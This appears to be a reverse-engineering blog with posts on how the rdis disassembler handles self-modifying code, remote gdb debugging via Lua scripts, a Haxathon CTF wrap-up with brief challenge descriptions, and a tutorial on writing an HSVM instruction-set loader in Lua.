This makes sense, but is something I have not fully considered before**.** We
live in a Von Neumann world where our instructions exist in the same
addressable memory as our data**.** Sure, well formed programs are loaded to
have non-executable memory permissions over _data_ , but memory permissions
are modifiable at runtime**.** When we disassemble, we make the assumption
that the instructions, and control-flow observable at a specific program
state, will not deviate at future states**.**  
  
This assumption works fairly well as, in most cases the assumptions hold
true**.** If, however, given a future state, instructions do deviate, we need
to disassemble them to discover how our program has changed**.**  
  
Rdis does this with the function rdis\_update\_memory**.** Each function in
rdis has its bounds defined in a lattice where the greatest lower bound is the
address of the lowest addressable instruction in the function's graph, and the
least upper bound is the address of the greatest addressable instruction plus
the instruction's size in the function's graph**.** When we update a region of
memory, we check to ensure a function does not overlap the updated region**.**
If it does, we have to regraph the function. We only want to update
instructions that change, however, as we may otherwise delete additional
properties a user has added to an instruction \(read comments\)**.** This is
some of the most complicated code in rdis, especially considering rdis's only
internal representation of code is in a directional graph**.**  
  
We now return to our instruction, a stateful variable interpreted by the CPU
\(which has its own state\) to update state, and our use of it in an
Intermediate Representation**.** The purpose of translating an instruction to
an IR is to perform analysis over the IR in order to derive understanding from
future states**.** Specifically, the addition of data-flow analysis to
control-flow of analysis**.**  
  
For those of us familiar with exploitation, we know the purpose of
exploitation is, usually, to alter control flow in a manner not originally
intended by the author**.** This will most likely involve altering control-
flow in a manner not observable without data-flow analysis**.**  
  
This is why we fuzz programs. By introducing data into the equation, we hope
to place the program into an invalid state, and by observing the conditions
which led to this state we hope to modify our data to alter the control flow
in an unintended manner**.** This is also the purpose of symbolic execution
and other forms of abstract analysis, to observe the changes in a program's
state based possible sets of data**.**  
  
This raises interesting questions about the assumptions we make as we analyze
disassembled programs. Let's take a look at the following instructions:  
  
400080: eb 00 jmp 0x400082  
400082: c6 04 25 81 00 40 00 mov BYTE PTR ds:0x400081,0xa  
400089: 0a  
40008a: eb f4 jmp 0x400080  
40008c: b8 3c 00 00 00 mov eax,0x3c  
400091: bf 00 00 00 00 mov edi,0x0  
400096: 0f 05 syscall  
  
The following program is available as a valid x86-64 linux executable here:
http://rainbowsandpwnies.com/~endeavor/files/ins  
  
These first three instructions pose an interesting problem for writing a
useful disassembler**.** Given the state presented, clearly the correct
disassembly of the instruction at 400080 is "jmp 0x400082"**.** This is
because, as stated, instructions have state**.** However, it's evident the
control-flow of this program will be altered once the instruction at 0x400082
has updated state**.**  
  
This doesn't seem like much of _an issue_ until you consider the problem of
applying data-flow analysis to a CFG to enhance a visual representation of how
a program will behave**.** _How should we visualize this program_**?** We
could create a CFG that looks like this:  
  
\(400080, jmp 0x400082\) -> \  
\(400082, mov BYTE \[0x400081\], 0xa\) -> \  
\(400089, jmp 0x400080\) -> \  
\(400080, jmp 0x40008c\) -> \  
\(40008c, mov eax, 0x3c\) ..**.**  
  
And this process would be helpful for a trivial program such as the one
described below**.** However, if we introduce a small loop into the program,
such as  
  
for \(i = 0; i < 0x100; i++\) \{ do\_things\(\); \}  
  
Our graph could become unwieldly, depending on do\_things\(\)**.** Perhaps
this example isn't the best. Imagine, instead, the assumption we make when
interpreting the meaning behind a call in a program loaded in linux without
relro protections**.** We are assuming our entries in the GOT hold addresses
to the entries specified in the ELF's relocations**.** This is a good
assumption, as it is generally valid**.** However, to say a specific entry in
the GOT will hold the address intended by the ELF's relocation entry is not
correct, as the correct answer is _it depends_**.**  
  
I want rdis to exhibit some form of predictability and correctness**.** I
believe the more correct answer here is to display the interpretation of a
program without data-flow analysis, displaying only the state at a specific
point in a program's execution**.** This means deducing control-flow without
applying future data into the equation**.** The alternative would be an
attempt to reflect decisions based on future states of the program back onto
the current state**.** While this will usually lead to valid assumptions, I do
not believe it is correct**.**  
  
I am looking for thoughts and comments on my thought-process, and to what
degree data-flow analysis is useful in a tool such as rdis**.** I put forth
there are numerous tools available for the analysis of how programs will
behave, and rdis should be concerned with what the current state of a program
reflects**.** Rdis should attempt to hold true to this statement as much as
possible**.**

Posted 5 weeks ago by rednovae

0

###  Add a comment****

  7. ##  The Informal Introduction****
I just finished writing \(in asm\) a small x86-64 linux challenge for a CTF
taking place tomorrow**.** Because I am slightly less than talented, my
challenge wasn't functional on the first go**.** It required debugging**.** I
just finished adding debugging support for rdis  via GDB Remote Serial
Protocol \(that means remote gdb debugging\), so I figured I'd give it a spin
and see how it worked**.**  
  
_This post will get you set up with debugging in rdis**.** I'm also sharing
how I used rdis to debug this simple program**.**_

##  Getting Set Up****

First, you need rdis**.** If you have Arch Linux, it's in the aur\! The
package name is rdis**.** If not, it's available on github .  
  
Next, you'll need a copy of my lua scripts for rdis**.** They can be found
here: github.com/endeav0r/rdis-lua  **.** There is a package in the aur, but
as of this posting the aur package is slightly out of date**.**  
  
You'll need two lua packages. The first is lua51-socket, available in the arch
package repos**.** The second is lgi, available here:
https://github.com/pavouk/lgi **.** There is a package for lgi in the arch
package repos, but it's for lua 5**.** 2\. You need to make and install from
the github repo for lua 5**.** 1.  
  
Finally, you'll want to set up your ~/.rdis.lua to load my lua scripts when
rdis starts up**.**  
  
We'll start with an ~/.rdis.lua like this:  
  
local PATH\_TO\_RDIS\_LUA = '/path/to/rdis/rdis-lua'  
  
package.path = package.path .. ';' .. PATH\_TO\_RDIS\_LUA .. '/**?**.lua'  
dofile\(PATH\_TO\_RDIS\_LUA .. '/rdis.lua'\)

##  Launch gdbserver****

gdbserver 127**.** 0.0**.** 1:9090 ./prog

##  Connecting to gdbserver****

If you've configured rdis as mentioned above my lua scripts will load
automatically**.** You can now call my debugging scripts to connect to the the
gdb server, grab the executable, load it into rdis, and spawn a simple
debugging interface for us to use**.**  
  
We do all this with the function: gdb\_gui\(host, port, architecture\)  
  
Currently the only supported architecture is x86-64, which rdis-lua refers to
as amd64**.** For our specific gdbserver instance, we will have:  
  
gdb\_gui\('127**.** 0.0.1', 9090, 'amd64'\)  
  
You can paste this directly into your main rdis window, wait for lua to grab
the state of the program, and the binary should load properly into rdis**.**

Here's what the debug window looks like once it pops up:

It's pretty ugly, but it's also pretty functional**.**

##  Adding a Breakpoint****

Pretty self-explanatory**.** Click "Add Breakpoint", and then type in the
breakpoint address**.** Hit continue to continue to the breakpoint**.**

##  Updating Memory****

Grabbing the process's memory can be a slow process**.** Instead of performing
this action automatically, I have decided to allow the user to decide when to
update rdis' representation of the program's memory**.** Clicking update
memory will grab the state of the program's mapped memory ranges, all of them,
and transfer them to rdis**.**

##  Automating the Process****

Navigating around the lua debugging interface is ok, we can get things
accomplished, but there has to be a better way to get the necessary state
information from the debugger into rdis**.**

And, well, there is. This is all lua, so we can script it all out**.**

In my .rdis.lua, I start with our gdb\_gui\(\) command to connect to the
debugger**.** This line is followed by several other lua calls to rdis to
label functions as I discover what they do:

gdb\_gui\('127**.** 0.0**.** 1', 9090, 'amd64'\)

rdis.set\_function\_label\(uint64\("0x4000a7"\), "one"\)

rdis.set\_function\_label\(uint64\("0x4000d0"\), "two"\)

rdis.set\_function\_label\(uint64\("0x400123"\), "seven"\)

Pretty soon I discover a good address to break at after I load my
shellcode**.** I start calling functions used by the lua debugging code
directly**.**

\-- Add a breakpoint directly to the GUI's gdb instance**.**

GDB\_GUI.gdb:add\_breakpoint\(uint64\("0x4000bf"\)\)

\-- This refreshes the GUI's listing of breakpoints

gdb\_gui\_set\_breakpoints\(\)

\-- This is the same function called when "Continue" is pressed

gdb\_gui\_continue\(\)

\-- Some helpful output

rdis.console\("breakpoint reached"\)

\-- Grabs the entire process's memory from the remote gdb server instance

\-- and updates rdis's internal memory representation of the program**.**

gdb\_gui\_update\_memory\(\)

\-- Creates a user function at 0x400181, where our shellcode is stored

rdis.user\_function\(uint64\("0x400181"\)\)

Now as I modify both my challenge, and my PoC for it, I simply kill the
gdbserver instance, restart it, and restart rdis**.** Each time, rdis
progresses the program to the exact point I'm interested in**.**

When I'm not debugging a specific program, I leave the gdb\_gui\(\) line in my
.rdis.lua **.** If lua can't connect to a gdb server, no harm no foul**.**
However, now when I want to debug an application I just have to fire up
gdbserver**.** It saves those extra 10 seconds of remembering how to connect
to the gdb server**.**

##  So... Improvements Are Needed****

While debugging this program I added new functionality to rdis, fixed bugs in
both rdis and the lua scripts, and found one bug I have yet to fix**.** Some
of the features outlined in this post, such as rdis.user\_function\(uint64\),
are new to rdis as of two hours ago**.** Depending on your requirements, rdis
may not be ready for your debugging needs**.**

Restarting rdis each time we wish to restart the debugger is not the preferred
method of doing things**.** It works for me, but it may not work for you. Some
improvement is needed.

It would be great to allow right-clicking of an instruction to add a
breakpoint**.** However, rdis doesn't have any infrastructure in place
allowing lua to dynamically register callbacks back to..**.** well..**.** lua.

##  What's Next for Rdis****

Consider gdb remote debugging a proof of rdis as a debugging tool**.** After
writing a client for the gdb remote serial protocol, it's clear GDB RSP leaves
something to be desired**.** I started with gdb remote debugging based on
feedback, but the preferred method of debugging will involve a separate
protocol and server**.** @TDKPS  is working on the windows server component
for remote debugging, so expect that as well**.**

ARM support is coming, slowly. I have begun hacking away on an ARM
disassembler, and once I get around to finishing it I will bring ARM support
into rdis**.** I don't do much ARM debugging, but it seems like a natural next
step for additional architecture support**.**

If you have looked at the rdis source, you noticed there's code in there for
an x86 -> Intermediate Language translator**.** This code has not been touched
in a while, and that portion of rdis, while important, is on indefinite
hold**.** The IL may change, and until then no work will be done on that
code**.**

Finally, if you've used rdis, let me know**\!**

Posted 12th January by rednovae

Labels: rdis

0

###  Add a comment****

  8. Haxathon  is a continuous, challenge-based security CTF with a focus on exploitation, reverse-engineering, cryptology and general binary-foo magic**.** Most of the competition took place in the Haxathon Supremacy Virtual Machine, which is a 16-bit big-endian RISC VM**.**  
  
While Haxathon challenge servers will remain operational until 07 DEC 2012, I
have disabled scoring in order to facilitate the posting of write ups**.**

##  Final Scores of Top 10 Players****

1\) acez - 1550  
2\) wont - 1550  
3\) NiklosKoda - 1550  
4\) themadllama - 1350  
5\) FrizN - 1350  
6\) nitin - 1200  
7\) vonr1ch - 1000  
8\) 414D41 - 850  
9\) ufox - 850  
10\) ercool - 850

##  A brief overview of the challenges****

_" Flag File," indicates the goal of the challenge is to open a file named,
"Flag," and read the contents**.**_

**key** \- HSVM - 50 points - This challenge XORed user input with 0x77 and
compared it against 8 bytes**.** If the input matched, the user was given a
message indicating success**.** The bytes required for the success message
comprised the flag for this challenge**.**

**backdoor** \- HSVM - 50 points - This challenge reads in input from the data
and then jumps directly to first given byte**.** This is a, "Flag File,"
challenge.

**backdoor1**.** 5** \- HSVM - 100 points - This challenge requires the user
to enter a name which is compared against a 12 byte string pushed onto the
stack**.** The string is "blackknights"**.** Once this string has been
matched, the server enters a loop where it reads one byte from /dev/urandom,
sends this byte to the user, reads one byte from the user, XORs the byte from
the user and writes it to a buffer starting from 0x8000**.** Once the server
XORs a byte resulting in 0x99, it jumps to the shellcode at 0x8000**.** This
is a, "Flag File," challenge.

**backdoor2** \- HSVM - 75 points - The user inputs shellcode which is XORed
with 0x99 and stored at a buffer starting at 0x8000**.** Once a byte, XORed
with 0x99, is equal to 0x00 or 0x0a the server will jump to the shellcode**.**
This is a, "Flag File," challenge.

**news** \- HSVM - 100 points - strcpy buffer overflow of a stack return
address with, "Details**.** " This is a, "Flag File," challenge.

**sum** \- Crypto - 200 points - Sum presents the attacker with a custom
cryptographic hash with insufficient confusion**.** It can be solved by a SAT
solver in about an hour on a Samsung Series 9 laptop**.** To score, the
attacker must find a message that when hashed results in the 8 byte output of
0000000000000000**.**

**players** \- HSVM - 200 points - Players requires exploitation of a use-
after-free vulnerability**.** The attacker must follow a specific order of
allocations and frees, overwrite data for a freed object, and then call a
method on that object to gain control of the instruction pointer**.** The heap
allocator and object logic was programmed in HSVM assembly, so the task of
figuring out what exactly is happening is a bit daunting itself**.** This is
a, "Flag File," challenge. The CFG for this challenge is _gigantic_ compared
to other haxathon challenges**.**

**image** \- HSVM - 150 points - Image reads in an ASCII art image compressed
with RLE**.** During decompression, the length of decompression for a single
byte during RLE is not checked**.** This allows the attacker to overflow the
stack frame with a one byte sequence \(0xABAB\)**.** This is a, "Flag File,"
challenge**.**

**hidden\_key** \- HSVM - 125 points - This challenge has nothing to do with
hidden keys**.** This challenge is a buffer overflow with a stack layout of
\[ret\]\[stack canary\]\[pointer to buf\]\[buf\]**.** The attacker must
overwrite the pointer to buf and use this pointer to overwrite memory at an
attacker-controlled location**.** Overwriting the stack canary will cause the
program to properly exit**.** This is a, "Flag File," challenge.

**checkout** \- Crypto - 150 points - This challenge consists of an insecure
format for RC4 encrypting information**.** The format of encrypted messages
consists of a 4 byte length, the message, and a 4 byte additive checksum**.**
By flipping bits 32-bits apart from on another, the attacker may or may not
invalidate the checksum**.** The server will return a message indicating the
validity of the checksum**.** The attacker can use this information to
discover the plaintext one bit at a time**.**

**inception** \- HSVM - 150 points - This challenge consists of a VM
programmed in HSVM assembly**.** The attacker must reverse the VM to discover
an input that will cause the program to output a message indicating
success**.**

**mod48** \- HSVM - 200 points - This challenge is a stack frame return
address buffer overflow**.** However, the modulus of each byte against 0x30 is
taken and written to the stack**.** This eliminates a large amount of the HSVM
instruction set, and the attacker must return to a function whose address
bytes are less than 0x30**.** Such a function was available. This challenge
required a return-to-libc approach to exploit**.** This was a, "Flag File,"
challenge.

##  Lessons Learned****

**End your contest immediately following the last challenge**.**** The last
challenge was released 02 NOV 2012**.** However, Haxathon continues until 07
DEC 2012. Originally we didn't know how many challenges would be present in
the complete contest and we wished to leave room for expansion**.** Instead of
planning to expand the contest in time, we should have planned to make the
contest more dense in challenges**.**

**More challenges earlier on**.**** While players unfamiliar with reverse-
engineering spent a good deal of time on the first few challenges, several
players completed these challenges in under an hour**.** When first entering a
contest, reversers don't enjoy waiting**.**

**Expect the horde.** I ended up posting haxathon on r/netsec **.** We had
over 90 registrations in the next 24 hours. While we handled this well,
expectations were closer to 30**.** As of this writing, 290 players have
registered for the Haxathon**.** 60 players have scored**.** A few more than
that have _attempted_ to score, but they still need to try harder**.**

**Send an email when your contest starts**.**** We had several players who
showed up in IRC after the contest started and said, "Oh, I didn't know this
thing had started already**.** " Those are the people we heard from**.** A
reminder email would have been nice.

**Expect to write all the challenges**.**** In addition to writing the website
that hosted haxathon, I also authored the HSVM and all the challenges**.** Be
prepared to write all of the challenges for your contest, and don't count on
receiving challenges from outside \(or inside\) sources**.**

##  Things I believe we did right****

**Log all the bits, lock down the challenges**.**** We log every page a
logged-in user visits, all incorrect submissions, all traffic to the web
server and challenge server, everything**.** Additionally, we have code that
quickly displays this information in a meaningful manner**.** We can quickly
correlate the actions taken by an IP address or user, the times those actions
were taken, and use them to make educated decisions on what people are
doing**.** We had some hiccups, but, _to my knowledge_ , we didn't fall
over**.** Oldgregg was responsible for securing the challenge server, and I
believe he did a good job**.** I watched him work his magic through tmux.
Wow**.**

**Put some simple challenges first, and have someone else quantify,
"Simple**.** "** Originally, news was the first challenge**.** I thought this
challenge was straight-forward. I also wrote the entire contest and VM from
the ground up**.** Having someone else take a look at a couple challenges
allowed me to rework the early challenges in the competition**.** Several
simpler, easier challenges were written and front-loaded**.**

##  And... In Closing..**.**

If you're interested in haxathon, I encourage you to give it a look**.**
Everything is still operational over at haxathon.com **.** If you're
considering hosting your own contest and have some questions on what that
experience is like, feel free to leave a comment or get in touch with me on an
individual basis**.**

Posted 25th November 2012 by rednovae

0

###  Add a comment****

  9. When I began writing rdis, I knew I wanted a visual tool that understood assembled programs in the same manner that I understood assembled programs. Unfortunately, I wasn't able to place my finger on exactly what that understanding was**.** After reading Chris Eagle's Ida Pro Book, or perhaps more accurately jumping through the book in a few hours, and reading What Every Programmer Absolutely, Positively Needs To Know About Encodings And Character Sets To Work With Text , I believe I have reached a definition:  
  
"The separation of meaning from its storage medium**.** "  
  
Let us begin with an ordered set of bytes, \{0=0x41, 1=0x42, 2=0x43,
3=0x44\}**.** What is the meaning behind these bytes? Well, it depends**.** It
may be a little-endian representation of the ASCII string "ABCD", it may be
the address 0x41424344, it may be the instructions "inc eax; inc edx; inc ebx;
inc esp;", it may be an ordered set of four garbage bytes, it may be a
combination of the above, or it may be something else entirely**.**  
  
Whatever combination of the above examples we use to extract meaning from the
above ordered set of bytes, they key is we  _extract understanding from, not
apply understanding to_ , this ordered set of bytes**.**  
  
Let us assume we will interpret 0x41424344 as the ASCII string "ABCD"**.**
What we should not do is create a string reference to address 0 and mark that
reference as type string**.** What we should do is create a string with the
value "ABCD"**.** We can add metadata to this string, such as, "This string
was found at address 0**.** "  
  
Data changes during runtime, and our program may replace our bytes 0x41424344
with 0x44434241**.** This does NOT change the meaning or value we extracted
from our _original value_ , 0x41424344**.** What we have is a _new value_ ,
and we should extract that value and apply meaning to it appropriately**.**
The immediate difference between these two values is state**.** The way our
program interprets this new value should also affect the way we understand
this new value**.**  
  
By approaching disassembly in this fashion, we more closely mirror the
behavior of the machine which interprets our assembly**.** Below is one
immediate benefit of this approach.  
  
When rdis disassembles a program, it makes no assumptions about the bytes
within the program**.** Given a set of entry points, it disassembles one
instruction**.** From that instruction we extract a set of addresses that
control flow may continue to after that byte**.** If we naivele disassembe an
ordered set of bytes, where disassembly of one instruction begins immediately
following the disassembly of a previous instruction, we will not achieve the
original meaning of the program**.** However, if we recursively extract
information from our bytes, we will  _extract_ the correct information**.**  
  
Because rdis extracts, instead of applies, understanding, we automatically
avoid incorrect disassemblies from control flows which defeat naive
disassemblies**.** Rdis understands that given a set of 8 ordered bytes, there
may be instructions of varied length beginning at each of those bytes**.**
Instead of applying understanding to the bytes, rdis extracts understanding
and could, potentially, arrive at eight separate, correct disassemblies while
creating its internal, directed graph representation of the program**.**
Instructions which jump to addresses which are in the middle of what would
normally be a naively disassembled instruction do not affect rdis, as bytes in
rdis do not have meaning attached to them**.** Rdis extracts the correct
meaning from these bytes**.**

Posted 18th November 2012 by rednovae

Labels: rdis

3

###  View comments****

  10. Rdis , The Rainbowsandpwnies Disassembler, is a binary analysis tool under development by rainbowsandpwnies **.** In this post I'm going to work through an example for writing your own rdis loader in lua, allowing you to analyze unique instruction sets and file formats with rdis**.**  
  
While this post is not focused on the lua language, there are some lua quirks
you need to be aware of**.** I will touch on a few of these quirks, but if you
plan on using rdis I recommend you take the time to learn about lua**.**  
  
We will be writing a loader for the HSVM instruction set**.** HSVM stands for
Haxathon  Supremacy Virtual Machine, and was the RISC 16-bit VM used for the
Haxathon reverse-engineering and exploitation challenges..  
  
The rdis lua API is available here **.** At a minimum, familiarize yourself
with the uint64 object**.**  
  
The complete hsvm lua loader is available at the end of this post for
reference**.**  
  
What Rdis expects from a lua loader  
  
The rdis lua loader expects an instantiated lua object with the following
methods:

     * uint64 entry \(\)
     * table functions \(\)
     * table function\_address \(uint64 address\)
     * table ins \(uint64 address\)
     * string label \(uint64 address\)
     * table memory\_map \(\)
**uint64 entry \(\)** returns a uint64 representing the entry point into the
binary**.**

**table functions \(\)** returns a lua table of uint64, where each element in
the table represents what you believe to be a function**.**

**table function\_address \(uint64 address\)** returns a lua table of uint64,
where each element in the table represents what you to believe to be a
function, where the argument address is given to you as a function**.** At a
minimum you should return a table with one value, address**.** When a user
performs a "user function" action, this method will be called**.**

**table ins \(uint64 address\)** returns a table containing information about
the instruction found at address, or nil if no valid address was found**.**
This is the workhorse method of our loader, and we will spend a bit of time on
it**.**

**string label \(uint64 address\)** returns a string representing the
address**.**

**table memory\_map \(\)** returns a table where the key is a uint64 and the
value is a table of integers representing the bytes as they will be laid out
in virtual memory once the executable is loaded, starting from the address
given by each key**.**

When you call rdis.load\(loader\), rdis will first call loader:functions\(\)
and then begin recursively disassembling from each address it receives**.** It
will label each function by calling loader:label\(\)**.**

Don't lose hope just yet. We're going to walk through it**.**

Laying out our lua loader object

We're going to start with some boilerplate lua object code for our HSVM
loader**.**

[code]     Hsvm = {}

    Hsvm.__index = Hsvm
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
        return hsvm
    end
    
    function Hsvm.ins              (hsvm, address) return nil end
    function Hsvm.function_address (hsvm, address) return nil end
    function Hsvm.functions        (hsvm)          return nil end
    function Hsvm.label            (hsvm, address) return nil end
    function Hsvm.memory_map       (hsvm)          return nil end
    function Hsvm.entry            (hsvm)          return nil end
    
    return Hsvm
    
[/code]

If you are unfamiliar with lua, this boilerplate code will get your loader set
up correctly**.**

Hsvm Constants

The format of the HSVM instruction set is fairly basic**.** Each instruction
is four bytes. The first byte of each instruction holds an opcode**.** The
meaning of the remaining three bytes is determined by the opcode**.** We will
start by filling out several constants:

[code]     Hsvm.REG_0       = 0x00

    Hsvm.REG_1       = 0x01
    ..**.**
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm**.** OP_ADDLVAL  = 0x11
    ...
    Hsvm.OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
[/code]

Hsvm.new \(filename\)

Inside the Hsvm.new \(filename\) function we create our object, hsvm**.** We
will want to open the file specified by filename, read its contents, and store
it internally in the object**.**

To open a file in lua we call io.open\(\)

[code]     function Hsvm.new (filename)

        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
[/code]

fh now has a method read\(\)**.** We pass the string "\*a" to read\(\), which
means, "Read the entire file**.** " read\(\) will return a lua string, and we
will turn this string into a table where each element of the table holds the
integer value of its byte in the file**.**

[code]         local raw = fh:read("*a")

        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
[/code]

You're probably thinking, "Wait**\!** That table starts at index 1**\!** " You
are correct. Lua begins tables at index 1 by convention**.** Iterating over a
table that starts at 0 will skip the first element, and several other minor
lua quirks will cause headaches later down the road**.** In lua, start your
tables at index 1.

We can now return the hsvm object to the user**.**

[code]         return hsvm

    end
    
[/code]

Hsvm.ins \(hsvm, address\)

Hsvm.ins is our workhorse function and will compose the bulk of our
loader**.** Partly this is because hsvm binaries are format-less files**.**
Rdis will call loader:ins\(address\) and expect to receive either a valid ins
table, or nil if disassembly at the given address was not valid**.**  
  
The address is a virtual address, not an offset into your binary file**.**
Because HSVM files are loaded directly into memory starting at address 0,
address and offset are practically synonymous for HSVM**.**

Rdis will expect the table returned to include the following elements:

uint64 ins.address

table ins.successors

uint64 ins.target

string ins.description

table ins.bytes

boolean ins.call

ins.address is the address of the instruction**.** You can take this directly
from the function's address argument**.** This field is always required.

ins.successors is a table where the values are of type uint64 and represent
the addresses where control flow may continue after this instruction**.** This
should become self-explanatory once we are done, but if you require more
explanation see my previous post, Creating Control Flow Graphs from Assembly
**.** Rdis will use this table to recursively disassemble your executable**.**
If there are no successors, this field can be omitted or set to nil**.**

ins.target is a uint64 address, used with branch instructions, that designates
the target address of the branch**.** Rdis uses this to intelligently provide
additional information while displaying instructions**.** This field can be
omitted or set to nil if there is no target, or if you don't wish to spend the
time implementing it**.**

ins.description is a string representation of the instruction**.** This field
is always required**.**

ins.bytes is a table of numbers, beginning from index 1, corresponding to the
bytes which compose this instruction**.** This field is always required**.**

ins.call is a boolean. If the instruction is a call, set this field to
true**.** Otherwise it can be omitted, set to nil or false. Do not expect Call
Graphs to work if you do not set this field**.**

While rdis will look for the above fields, we can add as many additional
fields as we wish**.** We will use a few additional fields to simplify the
implementation of our loader**.**

Our first task in Hsvm.ins will be to decode the encoded instructions into
something more meaningful**.** In addition to the required fields, we will
have three internal fields: opcode, operands and lval**.** We'll create helper
functions to fill out more complex information later**.**

[code]     function Hsvm.ins (hsvm, address)

    
        function description (ins)
            return "instruction"
        end
    
        ------------------------------------------------
    
        function successors (ins)
            return nil
        end
    
        ------------------------------------------------
    
        function target (ins)
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm.OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
    ..**.**
               or opcode == Hsvm.OP_STORBR
               or opcode == Hsvm**.** OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
    ...
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
    ..**.**
               or opcode == Hsvm.OP_STORB
               or opcode == Hsvm**.** OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
    ...
               or opcode == Hsvm**.** OP_JMP
               or opcode == Hsvm.OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
    ..**.**
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
[/code]

While this may return valid instructions, the result won't be very
helpful**.** First, all of our instructions will be described as "instruction"
and rdis will be unable to perform recursive disassembly**.**

Before we continue, let's talk about address:number\(\) **.** This method
converts a uint64 to a lua number, and is _potentially dangerous_**.** The
reasons we require this method are beyond the scope of this post, but know
that you cannot index a lua table with a uint64, you must use a lua
number**.** Lua numbers are of type double, giving you roughly 48 bits to work
with**.** This should normally be a non-issue unless you are working with an
instruction set with more than 48-bits of addressable memory \(not
x86-64\)**.**

Moving on, we need to fill out our helper functions**.** They should look like
this:

[code]         function description (ins)

            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
    ...
            elseif opcode == Hsvm.OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
    ..**.**
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ...
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ..**.**
               or ins.opcode == Hsvm.OP_JGE
               or ins.opcode == Hsvm**.** OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
[/code]

Now that we're done with that nightmare we can move on to the remaining
functions**.**

Hsvm.function\_address \(hsvm, address\)  
  
This function will return a table of uint64 addresses of what we believe are
functions given the address passed to it**.** At a minimum, we could simply
return a table with the address argument as the sole element, but we're going
to be a bit more creative and do some recursive disassembly of our own**.**  
  
The following should be self-explanatory and makes use of the ins function we
have already written**.**

[code]    function Hsvm.function_address (hsvm, address)

        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
[/code]

  
The remaining functions  
  
